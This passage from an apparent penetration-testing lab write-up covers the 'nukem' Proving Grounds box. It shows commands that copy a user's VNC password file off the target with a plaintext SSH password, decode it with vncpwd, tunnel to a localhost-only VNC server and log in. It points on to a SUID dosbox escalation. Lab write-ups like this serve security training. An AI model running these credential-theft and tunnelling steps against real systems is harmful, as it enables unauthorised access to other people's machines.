VNC


The presence of a VNC instance was initially discovered by enumerating the network. Enumerating the processes further revealed that the VNC instance is initiated by the commander user. Additionally, PEAS flagged it at a later stage.

Now that I have made the lateral movement to the commander user, I can get to the enumeration

[commander@nukem ~]$ ll .vnc
total 20K
4.0K -rw-r--r--  1 commander commander 3.4K Jan 30 07:49 nukem:1.log
4.0K drwxr-xr-x 10 commander commander 4.0K Jan 30 07:49 ..
4.0K drwxr-xr-x  2 commander root      4.0K Sep 18  2020 .
4.0K -rw-------  1 commander commander    8 Sep 18  2020 passwd
4.0K -rw-r--r--  1 commander root        54 Sep 18  2020 config

Checking the .vnc directory reveals the passswd file along with the configuration and log files

passwd


[commander@nukem ~]$ cat .vnc/passwd
��0�g�

The passwd file is always encrypted.

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nukem]
└─$ sshpass -p CommanderKeenVorticons1990 scp commander@$IP:~/.vnc/passwd .

I will grab that

Password Cracking


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nukem]
└─$ vncpwd passwd 
Password: Commande

Using the vncpwd tool, I can crack the passwd file It’s Commande

config


[commander@nukem ~]$ cat .vnc/config 
session=xfce
geometry=1024x728
localhost
alwaysshared

Session is set to xfce and it’s only reachable from localhost Since the service is running on the 127.0.0.1 address, I have no way of accessing the VNC server A tunneling is required

SSH Tunneling


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nukem]
└─$ sshpass -p CommanderKeenVorticons1990 ssh -f -N -L 5901:127.0.0.1:5901 commander@$IP

Tunneling Kali’s port 5901 to the target system’s 127.0.0.1:5901 socket via SSH

Starting A VNC Session


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nukem]
└─$ vncviewer -passwd ./passwd localhost:5901
Connected to RFB server, using protocol version 3.8
Performing standard VNC authentication
Authentication successful
Desktop name "nukem:1 (commander)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

Session established Nothing’s happening, but I can attempt to [[Nukem_Privilege_Escalation#|leverage]] the SUID dosbox binary